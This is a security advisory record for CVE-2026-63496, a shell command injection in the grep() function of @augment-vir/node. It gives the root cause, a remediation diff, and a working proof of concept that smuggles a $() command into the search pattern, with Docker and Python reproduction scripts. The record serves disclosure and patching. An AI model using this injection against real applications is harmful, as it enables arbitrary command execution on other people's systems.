{"id":"CVE-2026-63496","aliases":["GHSA-xvcc-vqjv-phqh"],"url":"https://o3.security/vulnerability/CVE-2026-63496","summary":"augment-vir: Shell Command Injection in `grep()` via Unsanitized `searchPattern`","details":"## Shell Command Injection in `grep()` via Unsanitized `searchPattern`\n\n### Summary\n\nThe `grep()` function exported by `@augment-vir/node` inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (`grep.ts:310`). When the constructed command is passed to `spawn()` with `shell: 'bash'` (`shell.ts:98-99`), bash evaluates `$()` command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to `grep()`'s `pattern` or `patterns` field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: **7.8 (High)**.\n\n### Details\n\n**Root cause:** `packages/node/src/augments/fs/grep.ts:310` maps each search pattern into the shell fragment `-e \"${searchPattern}\"` with no sanitization:\n\n```ts\n// grep.ts:310\n...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n```\n\nThe resulting full command string is forwarded to `runShellCommand` (`grep.ts:320`), which calls `streamShellCommand` (`shell.ts:221-224`), which ultimately calls:\n\n```ts\n// shell.ts:98-99\nconst childProcess = spawn(command, {\n    shell,   // defaults to 'bash' (shell.ts:92)\n```\n\nBecause `shell` is `'bash'`, bash interprets `$()` within the double-quoted pattern as a command substitution and executes it before `grep` ever runs.\n\n**Incomplete sanitization:** An `escape()` helper exists at `grep.ts:178-180` but only replaces `\"` with `\\\"` and removes newlines. It is applied to `excludePatterns`, `excludeDirs`, and `includeFiles` (`grep.ts:297-308`) but **not** to `searchPatterns`. Even if it were applied, double-quote escaping does not prevent `$()` or backtick substitution inside bash double-quote contexts.\n\n**Data flow (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/node/src/index.ts:3` | `export * from './augments/fs/grep.js'` — exposes `grep()` as a public npm API |\n| 2 | `packages/node/src/augments/fs/grep.ts:223-226` | `grep()` accepts caller-controlled `grepSearchPattern` and `grepSearchLocation` |\n| 3 | `packages/node/src/augments/fs/grep.ts:228` | `searchPatterns` derived from `grepSearchPattern.patterns \\|\\| [grepSearchPattern.pattern]` |\n| 4 | `packages/node/src/augments/fs/grep.ts:269-314` | `fullCommand` built as a plain shell string |\n| 5 | `packages/node/src/augments/fs/grep.ts:310` | **Sink:** `searchPattern` inserted as `` `-e \"${searchPattern}\"` `` — no escaping applied |\n| 6 | `packages/node/src/augments/fs/grep.ts:320` | `fullCommand` passed to `runShellCommand` |\n| 7 | `packages/node/src/augments/terminal/shell.ts:221-224` | Forwarded to `streamShellCommand` |\n| 8 | `packages/node/src/augments/terminal/shell.ts:98-99` | `spawn(command, { shell: 'bash' })` executes the constructed command string |\n\n**Suggested remediation:**\n\n```diff\n--- a/packages/node/src/augments/fs/grep.ts\n+++ b/packages/node/src/augments/fs/grep.ts\n@@\n-function escape(input: string) {\n-    return input.replaceAll('\"', String.raw`\\\"`).replaceAll('\\n', '');\n+function shellQuote(input: string) {\n+    return `'${input.replaceAll(\"'\", String.raw`'\\''`).replaceAll('\\n', '')}'`;\n }\n@@\n-        ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`),\n+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),\n+        '--',\n         ...searchParts,\n```\n\nAlternatively, replace the shell-string approach with `spawn('grep', args, { shell: false })` to avoid shell interpretation entirely.\n\n### PoC\n\n**Prerequisites:** Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.\n\n**Step 1 — Build the Docker image:**\n\n```bash\ndocker build -t augment-vir-vuln-001-poc \\\n  vuln-001\n```\n\n**Step 2 — Run the exploit container:**\n\n```bash\ndocker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc\n```\n\n**Core exploit (`exploit.mjs` inside the container):**\n\n```js\nimport { grep } from '@augment-vir/node';\n\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n  { file: 'package.json' },\n);\n```\n\nThe `$()` shell substitution in the pattern causes bash to execute `touch /tmp/augment-vir-poc-triggered` before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in `package.json`.\n\n**Expected output:**\n\n```\n[*] Calling grep() with injected $() command substitution pattern...\n[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match\n\n=== VULNERABLE ===\n[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered\n[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})\n```\n\n**Minimal reproduction without Docker:**\n\n```bash\nmkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc\nnpm init -y\nnpm install @augment-vir/node@31.73.2\n\ncat > poc.mjs <<'EOF'\nimport { grep } from '@augment-vir/node';\nawait grep(\n  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },\n  { file: 'package.json' },\n);\nEOF\n\nrm -f /tmp/augment-vir-grep-poc\nnode poc.mjs\ntest -f /tmp/augment-vir-grep-poc && echo VULNERABLE\n```\n\n**Verification:** Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. `VULNERABLE` and `COMMAND INJECTION CONFIRMED` were observed in stdout; the sentinel file `/tmp/augment-vir-poc-triggered` was created inside the Docker container.\n\n### Impact\n\nThis is an **OS Command Injection (CWE-78)** vulnerability. Any application that calls `@augment-vir/node`'s `grep()` with user-controlled input in the `pattern` or `patterns` field is vulnerable to arbitrary command execution under the Node.js process's user account.\n\n- **Confidentiality — High:** An attacker can read arbitrary files accessible to the process.\n- **Integrity — High:** An attacker can write or delete files, install malware, or modify application data.\n- **Availability — High:** An attacker can terminate processes or exhaust system resources.\n\nThe attack vector is classified as Local (the attacker must control the value passed to `pattern` at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the `grep()` `pattern` parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:22-slim\n\n# Install grep (required by @augment-vir/node's grep() implementation)\nRUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*\n\nWORKDIR /poc\n\n# Initialize npm project and install the vulnerable package version\nRUN npm init -y && \\\n    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5\n\n# Create the exploit script that demonstrates command injection via grep()\n# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected\n# into the shell command string without sanitization, causing $() substitution\n# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.\nRUN cat > /poc/exploit.mjs << 'EOF'\nimport { grep } from '@augment-vir/node';\nimport { existsSync } from 'node:fs';\n\nconst SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';\n\n// Remove sentinel file if it exists from a previous run\nimport { rmSync } from 'node:fs';\ntry { rmSync(SENTINEL_FILE); } catch {}\n\nconsole.log('[*] Calling grep() with injected $() command substitution pattern...');\nconsole.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');\n\ntry {\n  await grep(\n    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },\n    { file: 'package.json' },\n  );\n} catch (err) {\n  // grep() may throw due to no matches — that is expected and irrelevant\n  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);\n}\n\nif (existsSync(SENTINEL_FILE)) {\n  console.log('');\n  console.log('=== VULNERABLE ===');\n  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);\n  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:\"bash\"})');\n  process.exit(0);\n} else {\n  console.log('');\n  console.log('=== NOT EXPLOITED ===');\n  console.log('[-] Sentinel file was NOT created — injection did not fire.');\n  process.exit(1);\n}\nEOF\n\nCMD [\"node\", \"/poc/exploit.mjs\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Shell Command Injection in @augment-vir/node grep()\nCWE-78 — OS Command Injection\nAffected version: @augment-vir/node@31.73.2\n\nRoot cause:\n  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string\n  using unsanitized caller-supplied searchPattern inside double quotes:\n    ...searchPatterns.map((searchPattern) => `-e \"${searchPattern}\"`)\n  This command string is passed to spawn(command, { shell: 'bash' }), meaning\n  $() command substitution in the pattern is executed by bash.\n\nSafe usage: This PoC runs entirely inside a local Docker container.\n            No external network attacks, no real credentials, no DoS.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\nimport json\n\nIMAGE_NAME = \"augment-vir-vuln-001-poc\"\nCONTAINER_NAME = \"augment-vir-vuln-001-run\"\nDOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))\n\nBUILD_CMD = f\"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}\"\nRUN_CMD = f\"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}\"\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return CompletedProcess.\"\"\"\n    print(f\"[cmd] {cmd}\")\n    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)\n\n\ndef main():\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Shell Command Injection in grep()\")\n    print(\"Package: @augment-vir/node@31.73.2\")\n    print(\"=\" * 60)\n\n    # Step 1: Build Docker image\n    print(\"\\n[*] Building Docker image...\")\n    build_result = run(BUILD_CMD, timeout=300)\n    if build_result.returncode != 0:\n        print(\"[!] Docker build FAILED\")\n        print(build_result.stdout[-2000:] if build_result.stdout else \"\")\n        print(build_result.stderr[-2000:] if build_result.stderr else \"\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=\"Docker 빌드 실패 — npm install 또는 네트워크 오류\",\n            evidence=build_result.stderr[-1000:],\n        )\n        sys.exit(1)\n    print(\"[+] Docker image built successfully\")\n\n    # Step 2: Run exploit container\n    print(\"\\n[*] Running exploit container...\")\n    run_result = run(RUN_CMD, timeout=120)\n\n    combined_output = run_result.stdout + run_result.stderr\n    print(combined_output)\n\n    # Step 3: Evaluate result\n    vulnerable = \"VULNERABLE\" in combined_output and \"COMMAND INJECTION CONFIRMED\" in combined_output\n\n    if vulnerable:\n        print(\"\\n[+] PASS — Command injection confirmed inside Docker container\")\n        print(\"[+] The $() substitution in grep() pattern was executed by bash\")\n        write_result(\n            passed=True,\n            verdict=\"PASS\",\n            reason=(\n                \"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. \"\n                \"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 \"\n                \"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(0)\n    else:\n        print(\"\\n[-] FAIL — exploit did not produce expected output\")\n        write_result(\n            passed=False,\n            verdict=\"FAIL\",\n            reason=(\n                \"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. \"\n                \"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음.\"\n            ),\n            evidence=combined_output.strip()[-1500:],\n        )\n        sys.exit(1)\n\n\ndef write_result(passed, verdict, reason, evidence):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": BUILD_CMD,\n        \"run_command\": RUN_CMD,\n        \"poc_command\": f\"python3 {os.path.abspath(__file__)}\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n    }\n    out_path = os.path.join(DOCKERFILE_DIR, \"phase2_result.json\")\n    with open(out_path, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, ensure_ascii=False, indent=2)\n    print(f\"\\n[*] Result written to {out_path}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```","published":"2026-11-09T20:55:33.876Z","modified":"2026-11-17T02:47:01.602219862Z","cvss":{"score":7.8,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@augment-vir/node","fixedVersion":"31.73.5"}],"fix":{"url":"https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437","label":"electrovir/augment-vir@9e1a359"},"references":[{"type":"WEB","url":"https://github.com/electrovir/augment-vir/releases/tag/v31.73.5"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63496.json"},{"type":"ADVISORY","url":"https://github.com/electrovir/augment-vir/security/advisories/GHSA-xvcc-vqjv-phqh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63496"},{"type":"FIX","url":"https://github.com/electrovir/augment-vir/commit/9e1a3592903a56e500959be72276ede1708c3437"},{"type":"PACKAGE","url":"https://github.com/electrovir/augment-vir"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-17T02:47:01.602219862Z"}}